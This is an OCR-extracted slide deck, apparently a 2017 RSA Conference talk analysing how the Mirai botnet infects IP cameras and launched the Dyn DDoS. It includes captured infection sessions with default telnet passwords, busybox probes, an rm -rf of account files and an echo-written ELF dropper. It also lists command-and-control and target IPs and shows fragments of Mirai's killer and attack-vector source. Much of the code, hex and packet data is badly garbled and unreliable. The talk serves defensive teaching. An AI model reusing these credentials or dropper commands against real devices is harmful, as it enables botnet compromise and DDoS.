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What this talk will cover?

® Brief overview of Mirai

® The cameras themselves

® Step by step from infection to attacks
® The Dyn attack

® How to protect yourself

® How tech details fit into government policy debate

Robert Graham
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Mirai botnet

® Terabit scale attacks end of 2016
e ~“600mbps against Brian Krebs
e ~1 terabit against OVH
e ~1.2 terabit against DYn

® Infects cameras
e Most cameras
e Also printers, routers

® Hundreds of thousands of devices

Robert Graham
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Where the botnet resides

Vietham 12.8%
Brazil 11.8%
United States 10.9%
China 8.8%
Mexico 8.4%
South Korea 6.2%
Taiwan 4.9%
Russia 4.0%
Romania 2.3%
Colombia 1.5%

https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html
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CnC servers

Robert Graham

192.227.222.73
192.227.222.74
192.227.222.75
192.227.222.76
188.166.65.12
188.166.189.189
185.25.51.115
185.144.29.7
118.89.41.125
93.158.216.170
54.187.144.227
52.163.49.59
46.166.185.34
46.183.223.229
45.119.127.190
35.162.249.35
5.249.154.190
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Mirai Attacks @MiraiAttacks

Botnet #79 - UDPPLAIN flood for 60 seconds

[Targets]
208.146.44.1/32
Port: 80

* 1+ v =

Mirai Attacks @MiraiAttacks

Botnet #31 - STOMP flood for 60 seconds

[Targets]
74.91.119.213/32
Port: 22

* 131 v

T

Mirai Attacks @MiraiAttacks

Botnet #31 - ACK flood for 60 seconds
[Targets]

74.91.119.213/32

Port: 80

* 1+ v =

Mirai Attacks @NMiraiAttacks

Botnet #31 - DNS flood for 60 seconds
[Targets]

173.168.255.180/32

Port: 80

* g = v

) <
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Jan 12

Jan 12
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4] scanner.c - Visual Studic Code

File Edit Go Help

scanner.c

add_auth_entry("\x

add_auth_entry(’

add_auth_entry("\x

add_auth_entry("\x

add_auth_entry(’

add_auth_entry("\x

add_auth_entry(’

add_auth_entry(’

add_auth_entry(’

add_auth_entry(’

add_auth_entry(’

add_auth_entry("\x

add_auth_entry(’

add_auth_entry(’

add_auth_entry(’

add_auth_entry(’

add_auth_entry("\x43%

add_auth_entry("\x58\x4D\x \ %5243\ x51\%51", 3);

add_auth_entry(’ | \x4 AF\xABA\xAC\x13\x10\x11\x16", 3);
add_auth_entry("\x ¢ \3

add_auth_entry("\x : | ' A \x43\x46\x4F\x4B\x4C", 3);
add_auth_entry("\x L 3

add_auth_entry("\x

add_auth_entry(’

add_auth_entry("\x

add_auth_entry("\x58\x C

add_auth_entry(’ \x56%x4 8", "dP\xdA7\dBx4C\x51\x4F", 1});
add_auth_entry("\x51 ' 1\x47\x g
add_auth_entry("\x51\x57\x 54 A\x51\x4D\x58" K52\ %47\ x50\ x5 x4BY %51\ x4D\x58", 1);
add_auth_entry(’ \x56" | ) )

S0A0D28 In1,Col1 Spaces4 UTF8 LF



Ordering camera

ORDER PLACED TOTAL SHIPTO ORDER # 103-1909617-9296267
October 24, 2016 $55.00 Robert DA Graham = Order Details Invoice

Delivered Nov 9, 2016

Your package was delivered. Track package

T20P Wi-Fi Security Camera Onvif 2.4, Infrared 50ft Night Vision for Indoor/Outdoor Return or replace items

. Waterproof CCTV
. .* sold by JideTech Get help with order
s $55.00
o \
‘ Buy it Again ‘ Leave seller feedback

Archive order

Robert Graham
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JideTech

Shenzhen Gentlen Technology Development Co., Limited

Company Profile v Contact

Company Introduction

Company Mame Shenzhen Gentlen Technology Development Co.,
Limited
Location 13F, Hua Qiao Building 5, Min Zhi Road, Long Hua,

Shenzhen, GuangDong
China Shenzhen, Guangdong

Country/Region China
Year Established 2002

Employees Total 101 -500

Annual Revenue UsSD 100,000 - 500,000

Main Products CCTV camera, network ip camera, security
produtions, wirless Surveillance camera
Last Login Date Apr23.2015

Robert Graham

from Jose Pagliary at CNN
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What do the cameras look like?

Robert Graham
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HiSilicon HI3518 CPU

BN root@odroidrouter: ~/lexar/domecam — O >

root@odroidrouter:~/lexar/domecam# telnet 192.168.1.10
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character i1s '~]'.
LocalHost login: root
Password:
Welcome to Monitor Tech.
# cat [proc/cpuinfo

ARM926EJ-S rev 5 (v51)

218.72

swp half thumb fastmult edsp java

implementer : 0x41

0x0
0x926
5

varilant
part
revision

architecture: 5TEJ]

hi3518
0000
0000000000000000

4
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Which ports are listening

root@odroidrouter; ~

# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0.0.0.0:34561 : LISTEN
tcp LISTEN
tcp LISTEN
tcp LISTEN
tcp LISTEN
tcp LISTEN
tcp LISTEN
tcp ¢] .1:59127 ESTABLISHED
netstat: /proc/net
udp 0
udp
udp
udp
udp
udp
udp
udp 0.0.0.0:38355
netstat: [/proc/netf/udpé: No such file or dlrectory
netstat: /proc/netf/rawé: No such file or directory
Active UNIX domailn sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
Robert Graham unix 2 [ ] DGRAM 35 @/org/kernel/fudev/udevd
#

O .

GGGGGGGGI‘DHGGGGGG
GGGGGGGGI‘I‘NGGGGGG
[cloRcBoRcNoRcNoNy NN oo NoNo NN ol

.1.10:23
such file or dir

[=]
<

lcNoBocBoNoNoNoNoR SoNoloNoNol ool ol

# % N W N N N X

[cNoRcNoNcNoNoNo




What does the camera look like?

® 23: Telnet
® 80: HTTP
® 554: RTSP
® 9527: some weird shell with no auth

® 8899: some other web interface

Robert Graham
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@ IPCAM_XMEYE.rar - WinRAR. {evaluation copy) — [
File Commands Teecls Faventes Options Help

S M hwidL g 0¥

Add Extract To Test Wiew Delete Find Wizard Info Yirusscan Comment Protect SFX

E @ IPCAM_XMEYE.rar’\IPCAM_XMEYE - RAR archive, unpacked size 413,322, 299 bytes

)

Mame Size Packed Type Meodified CRC32
. Local Disk
FACS File folder 1/22/2016 5:26 ...
H.264 Player File folder 1/22/2016 5:26 ...
IE Plugin File folder 1/22/2016 3:26 ...
IP Search Tool File folder 1/22/2016 526 ...
MetSDE File folder 1/22/2016 5:26 ...
PC client File folder 1/22/2016 5:26 ...
B ResetUser File folder 1/22/2016 326 ...
Smart Phone APP(P2P applications) File folder 1/22/2016 5:26 ...
IP Camera Installation Manual pdf 1,541,395 1,293,424 PDF File 12762014 4:31 ... 77950044
IP Camera Quick Guide.pdf 967,307 801,128 PDF File 10/7/201511:1...  ASCAFBET

eI Selected 1 folder Total B faolders and 2 502 702 buvtes 10 ? files



‘ Wireshark - Follow TCP Stream (tcp.stream eq 6) - wireshark_pcap_86... — [] o

.......................................... LocalHost login: rroot
oot

Password: xc3511

Login incorrect
LocalHost login: rroot
oot

Password: xmhdipc

-[1;32mlelcome to Monitor Tech..[8;39m
# rem -rf /mnt/mtd/Config/Account*

m -rf /mnt/mtd/Config/Account®

# rreboot ; exit

eboot ; exit

r

15 client pktfs). 15 sarver phiisl 23 turns.







0f539bd5d3ab8a

cameradome-201702020-01.pca
pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm 7@ TRE Re2=EF RS EQAQaH

[i |A|:||:|Iy a display filter ... <Ctrl-/= '] Expression...  +

Mo, Time Source Destination Protocol  Length Info ~
73 199.583655 Wibrain_33:14:44 IstorNet_4c:6e:2f ARP 42 192.168.1.1 is at @8:1le:@6:33:14:44
74 288.671512 IstorNet_4c:6e:2f Broadcast ARP 6@ Gratuitous ARP for 192.168.1.18 (Request)
75 218.687491 IstorNet_4c:Be:2f Broadcast ARP 68 Gratuitous ARP for 192.168.1.18 (Request)
76 221.845682 192.168.1.16 54.67.91.181 uDp 178 45806 - 96088 Len=136
77 221.919878 54.87.91.181 192.168.1.18 uDp 58 0B8R - 45886 Len=8
78 222.816613 192.168.1.1@ 54.67.91.181 uopP 178 48954 = 9888 Len=136

’7 79 222.89@8264 54.67.91.181 192.168.1.18 upP 182 9888 + 48954 Len=148

! 8@ 224.576568 192.168.1.18 54.84.132.236 upP 67 43875 + 8765 Len=25

i 81 224.598613 54.84.132.236 192.168.1.18 upP 62 B765 » 43875 Len=28

i 82 226.854448 IstorNet_4c:ge:2f Wibrain_33:14:44 ARP 68 Who has 192.168.1.17 Tell 192.168.1.1@ =

GEEe @@ le 86 33 14 44 @@ 12 15 4c Ge 2T 83 88 45 68 +..3.0.. .Ln/.LE.

GEIG @@ ad B8R 8B 40 @8 48 11 e6 Se c@ ad @1 @a 36 43

2028 5h b5 bf 3a 23 28 @@ 98 4d cl 14 20 @@ 3@ el @8 [ T

GBS0 el @@ 38 66 35 33 39 62 64 35 64 33 61 62 38 6l ..Bf539b dsd3absa

Go40 B4 37 BP 00 B2 B0 20 B B0 B2 DO e 08 BB B8 Be

GOS0 BB 22 bR 0B B2 B 20 B B0 B2 DO G 02 BB B8 B

GEED BB B8 B0 BB R B2 0B BB G2 08 BB BB BB BB BB BB ........ c.aaaaas

GETE B@ B8 B0 G2 BE B2 0B BB G2 08 BB BB BB BB BB BB ........ L..aaaas

GEEE B8 6@ B0 e bl B G2 BE @0 @B B2 6@ B BB BB BB ........ ........

GRS 6@ 6@ B0 e bl B G2 BE @0 @B B2 BB B BB BB BB . ....... ........

Goa0 el 20 B 0P D2 B0 0 BB BD G2 DO BB BB BB BB B  ........ L...eeas

gebe o8 a8 .

@ 7 cameradome-201702020-01 || Packets: 197 - Displayed: 197 (100.0%) - Load time: 0:0.2|| Profile: Default

Robert Graham
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0f539bd5d3ab8a

Robert Graham
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0f539bd5d3ab8a

eeeee ATET & 2:40 AM 4 64%

=y Add Device

Manually Add  Quick C...figuration

Device Name: | ‘

Serial Number: ‘ %

Username: admin

Password:

Port: ‘

Robert Graham
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4 62%

0f539bd5d3ab8a ©

+ o+

Zoom Focus Iris

N-1-X-

Robert Graham
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Camera/Phone firewalled

54.163.237.146
ec2-54-163-237-146.compute-1.amazonaws.com

Robert Graham
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cameradome-201702020-01.pca
pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AdE7® TRE Re2ZF LS EQRAQAAQAHE

[i |A|:||:|Iy a display filter ... <Ctrl-/= '] Expression...  +

Mo, Time Source Destination Protocol  Length Info ~
73 199.583655 Wibrain_33:14:44 IstorNet_4c:6e:2f ARP 42 192.168.1.1 is at @8:1le:@6:33:14:44
74 288.671512 IstorNet_4c:6e:2f Broadcast ARP 6@ Gratuitous ARP for 192.168.1.18 (Request)
75 218.687491 IstorNet_4c:Be:2f Broadcast ARP 68 Gratuitous ARP for 192.168.1.18 (Request)
76 221.845682 192.168.1.16 54.67.91.181 uDp 178 45806 - 96088 Len=136
77 221.919878 54.87.91.181 192.168.1.18 uDp 58 0B8R - 45886 Len=8
78 222.816613 192.168.1.16@ 54.67.91.181 uDP 178 48954 = 9888 Len=136

’7 79 222.898264 54.67.91.181 192.168.1.18 uop 182 9868 -+ 43954 Len=148

! 8@ 224.576568 192.168.1.18 54.84.132.236 upP 67 43875 » 3765 Len=25

i 81 224.598613 54.84.132.236 192.168.1.18 upP 62 8765 + 43875 Len=26

i 82 226.854448 IstorNet_4c:ge:2f Wibrain_33:14:44 ARP 68 Who has 192.168.1.17 Tell 192.168.1.1@ =

GEee @@ 12 15 4c Ge 2T @@ le @6 33 14 44 83 88 45 28 «..lnf.. L3.D.LE

0ele @@ ad B0 60 48 @@ 2e 11 T8 7a 36 43 Sb b5 <@ aB weauffe.. LZBC[...

@826 @1 @a 23 28 bf 33 @@ 94 12 7f 14 20 @1 30 60 BO

0030 @@ @@ 35 34 2e 38 34 2e 31 33 32 2e 32 33 36 e@

GO40 BB 22 BR 2B B2 BB 20 B B0 B2 DO G 02 BB B8 B

GOS0 BB 20 BR 0D 02 B0 B2 B2 BB BB 30 le 30 2e 38 2e

GEEE 3@ B8 B0 22 P2 B2 G2 BR BB 08 B8 8@ B2 BB 31 32

GE7E 33 2e 35 39 2e 31 34 2e 36 31 @@ 6@ 08 a8 88 B8

GEEE B @8 31 32 31 2e 31 39 39 2e 33 2e 38 31 @6 ee

GEoE B2 28 e. ee a2 B8 =1 BY 68 28 82 o2 88 ee 83 ae

0020 @@ @0 ©7 90 00 00 Bd B9 90 90 B4 B0 B0 B8 B0 2d  ........ weaeeas -

@ebe 94 58 B8 60 B0 a8 P

@ 7 cameradome-201702020-01 || Packets: 197 - Displayed: 197 (100.0%) - Load time: 0:0.2|| Profile: Default

Robert Graham
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Configure firewall

® Use RaspberryPi-class
device as NAT/firewall to
create an isolated
subnet

http://blog.erratasec.com/2016/10/ configuring-raspberry-pi-as-router.htmi
- RSAConference2017/
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98 seconds to infection!

M carmeradome-20161118-03.pcap — O >

File Edit View Go Capture Analyze Statistics Telephony  Wireless Tools Help

A m g @ ERE QR ea==§F & = Qe B

[i | tcp.stream eqg 12 m '] Expression... +

Mo Time Source Destination Protocol Length Info -~
2886 95.388393 192.168.1.18 196.29.72.112 TELNET 88 Telnet Data ... ||
2887 95.413849 199.29.72.112 192.168.1.160 TCP 54 57838 » 23 [ACK] Seq=29 Ack=33 Win=146..
2888 95.417241 199.29.72.112 192.168.1.10 TELMET 61 Telnet Data ...
2889 95.419618 192.168.1.18 196.29.72.112 TELMNET 71 Telnet Data ...
2896 95.521822 199.29.72.112 192.168.1.16 TELMNET 68 Telnet Data ... 1 |
2891 95.5235854 192.168.1.18 196.29.72.112 TELMET 68 Telnet Data ... |
2892 95.657464 198.29.72.112 192.168.1.16 TP 54 57838 —» 23 [ACK] Seq=42 Ack=182 Win=14..
2895 98.538577 192.168.1.18 196.29.72.112 TELNET 88 Telnet Data ...
2896 98 .6395568 196.29.72.112 192.168.1.16 e 54 57838 » 23 [ACK] Seq=42 Ack=136 Win=14...,
2897 98.639688 199.29.72.112 192.168.1.10 TELMET 68 Telnet Data ...

¥ 2898 98.642883 192.168.1.18 196.29.72.112 TELMET 78 Telnet Data ...
2899 98.749931 188 29 72112 192.168.1.16 TELMET 63 Telnet Data ...
216868 98.768263 192.168.1.18 196.29.72.112 TELMNET 68 Telnet Data ...
2181 98.897786 190.29.72.112 192.168.1.18 TCE 54 57838 =+ 23 [ACK] Seq=57 Ack=154 Win=14..
2182 98.898514 192.168.1.18 196.29.72.112 TELMET 96 Telnet Data ...
21832 99.818538 198.29.72.112 192.168.1.10 TRER 54 57838 » 23 [ACK] 5eq=57 Ack=196 Win=14.. 'v"
DAAGA O AT S AT A0 WD I A L = e T, - - N VY TEL MET L= T oW NPT o N

2206 88 12 15 4c 6e 2T 88 le @6 33 14 44 B8 88 45 26 PR L, S b I

2818 @8 31 ef ab 40 9 34 @56 8e bb be 1d 48 7@ c® asd -1..@.4. ....Hp..

2@28 ©1 P2 el ee @0 17 59 43 f6 7f bb 18 19 87 50 18  ...... ., YR B

Ba3a 1lc 84 Bd 47 88 88 78 bd 68 B4 69 78 63 8d 8a wewB..wm hdipc..

() ¥  cameradome-20151118-03 || Packets: 3079 - Displayed: 86 (2.8%%) - Marked: 1 (0.0%%) - Load time: 0:0.67 || Profile: Default

Robert Graham
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Infection process

‘ Wireshark . Follow TCP Stream (tcp.stream eq 27) - cameradome-20161118-04 - O >

............ locallost ToEIns . o m e s Bl v o oo FOOTROOE
Password: wxmhdipc

.[1;32mWelcome to Monitor Tech..[@;35m
# enable

enable

system

shell

sh

-sh: enable: not found

# /bin/busybox ECCHI

system

-sh: system: not found
# shell

-sh: shell: not found
# sh

# /bin/busybox ECCHI

ECCHI: applet not found

# /bin/busybox ps; /bin/busybox ECCHI
/bin/busybox ps; /bin/busybox ECCHI

PID USER VSZ STAT COMMAND
1 root 1248 S init
2 root 8 SW  [kthreadd]
3 root @ sW [ksoftirqd/e]
4 root 8 SW  [kworker/@:8] v

428 chient pii(z) 1,968 server phifs) 852 turns.

| Entire conversation (813 kB) 5 | Show data as E_._ASCII > |

Find: | [ Findnext |

Robert Graham %Hide thisstream_é | Print | | Save as... | | Close | | Help |

RSAConference2017/




The ECHI trick

® Generates error message
® It's how the bot recognizes that the output is done

® Different devices have different command-prompts, so it’s harder
parsing output for a command prompt

Robert Graham

. . RSAConference2017



What is busybox?

root@edroidrouter: ~/lexar/domecam

® Most common

-FWXr-xXr-x 1 556 44 19892 Jan 1 1970 pppoe

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 ps -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 pwd -> busybox St]f?'l on |()1_
Lrwxrwxrwx 1 556 44 7 Jan 1 1970 rm -> busybox :
Lrwxrwxrwx 1 556 44 7 Jan 1 1970 rmdir -> busybox deVICeS
- WX -Xr-X 1 556 44 9964 Jan 1 1970 route_switch

=FWXr=-Xr-x 1 556 44 31644 Jan 1 1970 searchIp

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 sed -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 sh -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 sleep -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 sync -> busybox

-FWXr-Xr-x 1 556 44 4945 Jan 1 1970 sysinilt

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 test -»> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 top -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 touch -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 true -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 tty -» busybox

-rWXr-Xr-x 1 556 44 52116 Jan 1 1970 udevd

-rWXr-Xr-x 1 556 44 43816 Jan 1 1970 udevinfo

-rWXr-Xr-x 1 556 44 43816 Jan 1 1970 udevstart

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 udpsvd -> busybox

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 umount -> busybox

-FWXF-Xr-X 1 556 44 61548 Jan 1 1970 upgraded

Lrwxrwxrwx 1 556 44 7 Jan 1 1970 xargs -> busybox

i

Robert Graham

RSAConference?2017/



Find out CPU:

x86, ARM, MIPS, PowerPC

Robert Graham

‘ Wireshark - Follow TCP Stream (tcp.stream eq 27) - cameradome-20161112-04 — O X
# /bin/busybox cat /binfecho ~
/bin/busybox cat /binfecho
VELE: ot (e e e e i S e s e
B e i i i sraa s e a A e s R e A A AR s A s e s a s e i B
........ TaaaTewaTavanans
............... L L Ll T L
uClibc.s0.8..... e e S R R P | i S R S e R faas
R e A e e S sy A A AT i e iy e e
e e N e e e i i e e i
= i i i i o 3 ) 1 o
PN LN S R T S S -

N e e o S

oo M e e e e e e s e e e e e e e o o

S e e S Tl i T e e o e e e e

Bl LT L e Fn i S L s e i G e Ot
e B e e e P e e e s | [ s
B T i Hi e e e S e
......... L s Do

[ R AR A S S i nmp i

y e Tl im i

T m e S e
e e s v

428 cient ptfs) 1368 server pktys) 852 furns.
I_Entire conversation {813 kB) '_I Show data as ;_ASCH '_I

Find: |

E_i-ﬁde this streanﬁ | Print _| | Save as... _| | Cloze | | Help

. RSAConference2017




Download bot

‘ Wireshark . Follow TCP Streamn (tcp.stream eq 27) « cameradome-20161118-04 — | >
# /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI A
/bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
wget: applet not found
tftp: applet not found
ECCHI: applet not found N

428 client pits) 1,988 sarver pkifs), 852 furns.

[«

‘Entire conversation (813 kB) - Show dataas ASCI v | Stream |27 [
Find: | | FindNext |
%Hide this stream_g | Print | | Save as... | | Closze | | _H-E||'.'.I- |

Robert Graham
= . RSAConference201/




Download bot

Robert Graham

M Wireshark . Follow TCP Stream (tcp.stream eq 27) - cameradome-20161118-04 - O

# echo -ne "‘\x7f\x45\x4c

W46 W81\ %81 \x81\x61\x88\ x88"x88 88,308 \ B8 x8a ' x88\ x02 88\ x2 8\ x88 81 \ 88\ x88\ x0a\x18
WHBA\ BB\ B8\ 34\ w80 \ea \ xed \xbc

\XB4\ KOO\ 188\ x02 \ 102\ X80\ kB0 \ X34\ B0\ x20\ X80 \ kB3 \ 08\ x2B\xB8\ xe6 \xea \ x5 \xee \xB1\ xea\xes
\xB0\ 108\ k88 xBe\ 100\ xa0 \ kB \ xea\ X088\ xee \xE0 \ 08\ ko8 \ 18 \x62\ x08\ xea \ k18 \x62 \xB8\ k08 '\ xe5
B8\ 08\ xB8\ B8\ 80\ x88 \ kB8 \ 18 1\ 88\ B8 \ xB8 \ x 18\ 162 \x80 \ xBB\ x18\x6 2\ %01 \xB8 \x 18\ x62\x081
B8\« B8N 8 2\ 088\ 188 \x T c

W23 088 3088\ 2086 088 \0BiE 088\ 3088 \ B8\ 088 \oBE 5 1 e 5 \ T4 \ B4\ B8\ 088 3080 2088 \ B8\ 0BE B8
\@8' > upnp; /bin/busybox ECCHI

echo -ne "\x7T\x45\x4c 464 x81\x01\x81\x61"\x88"x608\x08\x08\xBa"\ x00'\xe8\x08\x82

\wB8\ 28N\ w88\ k01 \x00\x08\ x80"\ x18 x84\ 188 \x00\ X34\ x08' 00\ 88\ kb \ 1644300\, x08 |\ xB2
B2\ kB8N B8\ 34\ B8\ 28\ BB\ B 3\ xBB\ X 2B \ BB\ xB 5\ B8\ xB5 \ 08\ w81\ B8\ xBa\xea\ xee
aoBE BB B8 BB\ BB\ BB BB\ BB\ BB\ B8 \ BB\ w1 B\ 62 \ BB \ B8\ w18\ 6 2\ BB \eBd \ 85
o088 BB\ B\ 0B\ B8 \ o\ BB\ 0B 1\ oBB \ 0B\ B@ \ 18\ 62 \ BB \ 088\ 18\ 6 2081 \eBd \ 18
B2 @1\ B8N BB\ B2 \ BB\ BB\ 7 423 \ B8\ a8 6\ B\ 0B \ 88\ e\ xBA\ 088\ 0Ba \ x5 1

\xe5\ K74\ 64\ kB0 \ 00\ x08\ x00\ 00\ xea\x88 \xe8 " > upnp; /bin/busybox ECCHI

ECCHI: applet not found

# echo -ne

"\ @8\ x08\x2a\x8a\ x0a\ xee\x 00 \xaa\ xea\ xea\xBe\x8e \xa7 \ xea\ x8e\xBe \xa4\ xea\ xea \xBe \xee \xe
B\xB8\x88\ 2088 \xBa "\ x8a\x88\x 88 \xBa \ xB8\ B8\ 178\ x40 \x2d \xe D\ 3 \x58 \x I \xe 5\ x3 c\x6B \xof
\xe5 \xBa\ (38N k05 e 5 \ B \ k28 k96 xe5 34 \xe B\ kO T e 5 34 4B\ k0

A\xe5 kB335 %23 \xed \xa2 \xB9\x2 2\ xed\ 08 \x 18\ xJe

\xe5 B8N xca\ k04 \xe5 \ 88\ kB0 x2 3\ xeB\ k23 \ x84\ x28 \ xe 8\ 88\ x 18\ k85 \ xe 5\ xB8 \ xcB\x8e

\xe5 B8 x 28\ x84 a5 \x88\ xB0 \ k86 \xe5 \x 70\ x80 \ xbd \ xe8 \x 9B \x64\ %81\ xB8 \ xad \ 64\ xB 1\ x88\xIc
64\ 81\ x88\ xa8 \x64 \x81\xe8\ xea\x16'\xas \xel\xed\ x08\x9f \xe5" >> upnp; Sbin/busybox
ECCHI

echo -ne "\xB8\x88)x88\x88"\x0a\ x88\x08\x08\ xB8 "\ xBe "\ x88\xBB\ X8 7\ 88\ xBe\ 88\ x84

428 client pkes). 1.988 server pkyz). 852 fums,
|Entire conversation {813 kB) - | Show data as i_ASCII -

Find: | [ Findmext |
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Now run the bot

M Wireshark - Follow TCP Stream (tcp.stream eq 27) - cameradome-20161118-04 — O >

AW 240 B3R B8\ B8N B8\ B8\, B8\ B8 0Ba \ BB\ B\ B8\ B 1\ xB8 \ xB8 \ kB8 \ e\ BB\ BB\ Bl " 3> A.

upnp; /bin/busybox ECCHI
echo -ne "‘\x24'B8\xB8%\x88\x88\xB88"x08"\ xBa" xB8\ xB8\ xB8\ B8 \ 81\ x88\ xBa\ xB8\ xBa

@8\ eBa\ 88" >> upnp; /bin/busybox ECCHI

ECCHI: applet not found

# .fupnp; ./dvrHelper telnet.arm?7; /bin/busybox IHCCE
.fupnp; ./dvrHelper telnet.arm?; /bin/busybox IHCCE
MIRAI

428 cliene phas) 1.988 server phys) 852 tums.
iEnﬁrE conversation (313 kB) =) Show data as E_A_SCII =)

Find: |

EHide this streami i Print ! Save as... : : Close i Help |

Robert Graham
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Kills Telnet

m root@odroidrouter; ~

735 root 1352 S route_swltch
738 root 9548 S dvrHelper /lib/modules fusr/bin/Sofia 127.0.0.1 9578 1
739 root 1300 S telnetd
750 root 463m S Jusr/bin/Sofia
769 root 0 SW [kworker/o:2]
864 root 1252 S -sh

2015 root 1252 § -sh

2016 root 1248 S sh

2167 root 1252 S -sh

2168 root 1256 S sh

2591 root 1240 R ps

# Connection closed by foreign host.

#ifdef
printf("[killer] Trying to kill port 23\n");
#endif

if (killer kill by port(htons(23)))

/bin/busybox telnetd —p 2323

#ifdef
printf{"[killer] Killed tcp/23 (telmet)\n");
#endif
} else {
#ifdef
Robert Graham printf{"[killer] Failed to kill port 23\n");
#endif

}



Kills rival bots

thile ((ret = read(fd, rdbuf, sizeof (rdbuf))) > @)
{
it (mem_exists{rdbuf, ret, m _gbot_report, m_gbot_ len)
mem_exists(rdbuf, ret, m _gbot http, m_gbot2 len) |
mem_exists(rdbuf, ret, m_gbot dup, m gbot3 len) ||
mem_exists(rdbuf, ret, m upx_str, m upx_len) ||
mem_exists(rdbuf, ret, m _zollard, m zollard len))

found =

4
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Connect to command/control

M infectiond.pcap - O X
Eile Edit View Go Capture Analyze 5§ Telephony Wireless  Tools  Help
Am 1@ IDRB Res=F s5[Eaaan
[i |tcp.stream eq 39 m '] Expression... +
Mo, Time Source Destination Protocol  Length Info o
2489 1833.162334 192.168.1.18 185.127.25.96 TCP 66 44463 » 23 [ACK] Seq=.
2418 1833.162367 192.168.1.18 185.127.25.96 TELNET 7@ Telnet Data ...
2411 1833.333642 185.127.25.96 192.168.1.18 TCP 66 23 = 44463 [ACK] Seq=.
2412 1833.334526 192.168.1.18 185.127.25.96 TELNET 77 Telnet Data ...
3448 1833.689848 185.127.25.96 192.168.1.1@ TCP 66 23 = 44463 [ACK] Seq=.
11747 1843.178851 192.168.1.18 185.127.25.96 TELNET 68 Telnet Data ...
11753 1843.419457 185.127.25.96 192.168.1.1@ TCP 66 23 =+ 44463 [ACK] Seq=.

Frame 2412: 77 bytes on wire (616 bits), 77 bytes captured (616 bits)

Ethernet II, Src: IstorNet_4c:6e:2f (@0:12:15:4c:6e:2f), Dst: Wibrain_33:14:44 (88:1e:86:33:14:44)
Internet Protocol Version 4, Src: 192.168.1.18, Dst: 185.127.25.96

Transmission Control Protocol, Src Port: 444683 (44483), Dst Port: 23 (23), Seq: 5, Ack: 1, Len: 11

£ W ow oW o

Data: \n

Data: telnet.arm

GEE2 B8 le @6 33 14 44 80 12 15 4c 6e 2f B3 @@ 45 B0 ...3.D.. .Ln/..E.
Ge1e @@ 3T 82 da 40 80 48 @6 a3 4d c@ ad @1 @a ba 7 @@ M.
G826 19 6@ ad af @@ 17 62 1b 95 c7 el 49 51 ec 38 18 [« TR [« [
G830 1c B4 @c bl @@ 82 81 @1 83 8a @8 @1 97 36 BB €5 ....iees waean G..
GBap 27 28 @a 74 65 6cC Ge 65 74 2e 61 72 &d ' .telne t.arm

Robert Graham @ 7 infections || Packets: 162743 - Displayed: 17 (0.0%) - Load time: 0:1.958 || Profile: Default
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M cameradome-20161118-05.pcap

File Edit View Go Capture Analyze Statigs . Tools  Help




List of possible attacks

D'a attack.h - Visual Studic Code

Fil= Edit View Go Help

= ATK_VEC_UDP
= ATK_VEC_VSE

= ATK_VEC_DNS

= ATK_VEC_SYN

= ATK_VEC_ACK

= ATK_VEC_STOMP
= ATK_VEC_GREIP
= ATK_VEC_GREETH

a
1
2
3
4
5
6
7

= ATK_VEC_UDP_PLAIN
= ATK_VEC_HTTP

SO0A0O7T In1,Col 1 Spaces4 UTF-8 LF C++ @

Robert Graham
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Attack on Google Project Shield

® 130 million SYN per second

® 450 million HTTP queries per second
e From 175,000 IP addresses

® 4 million ACK flood
® GRE floods
® UDP floods

https://arstechnica.com/security/2017/02/how-google-fought-back-against-a-
crippling-iot-powered-botnet-and-won/

Robert Graham
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DYN DDoS

® Classic “hit the root name servers”
e ..except one layer down

® Port 53 UDP flood
e ~600gpbs to ~1.2tbps

® Amplified by failed DNS lookups

e No cached failed response

Robert Graham
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@ Secure | httpsy//en.wikipedia.org/wiki/2016_Dyn_cyberattack

Affected services [edit]

Services affected by the attack included:

« Airbnbl*?] « Electronic « Imgur(?®] o Ruby Lanel™ o Twiliol"3114]

« Amazon.com!’] Arts['7] « Indiegogol'?] o RuneScapel®l o Twitter 121311711

« Ancestry.coml’® e Etsyl'?Il'°] « Mashablel?’] « SaneBox!24] « Verizon

o The A.V. « Education « National « Seamless?6] Communications!
Clupl™®] Quality and Hockey « Second o Visal®1]

« BBCI14] Accountability Leaguel ! Lifel??] « Vox Medial®Z]

« The Boston Office (EQAO) o Netflix!'41(22] « Shopify(1Z] « Walgreensl'¥]
Globel'?] online testing o The New York  « Slackl26l « The Wall

« Box('6] 2o Timesl2I17] « SoundCloud'2l  Street

« Business « FiveThirtyEightl , overstock.coml « Squarespacel'4  Journaf??!
Insider 4] o FoxNews?2l | pypgl19] « Spotify 131719« Wikial'3]

o CNNI] * The o Pinterestl! 119 | siarbucks!13125 o Wiredt ']

« Comcastl'”] Guardiani®! o Pixirl14] « Storify[1®] « Wix.com[2

[(14] e GitHubl12l[17] : o

» CrunchBase « PlayStation « Swedish Civil « WWE

« DirecTVI14] + Grubhupl??! Networkl!7] Contingencies ~ Networkl*!

« The Elder - HBOI « Qualtrics!*®! Agencyl3] « Xbox Livel®?]
Scrolls « Herokul24l « Quoral'¥ « Swedish « Yammer(?
Onlinel'41[18] « HostGatorl'4l o Reddit™PI07119]1 Government®0] o Yelpl'4]

« iHeartRadio ™ | gopjoxi28] o Tumbld™3I07] 4 Zijowl ]
Robert Graham
. 2017
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L#RSAC

Atlanta -> North Virginia

rob@raspfullnode: ~

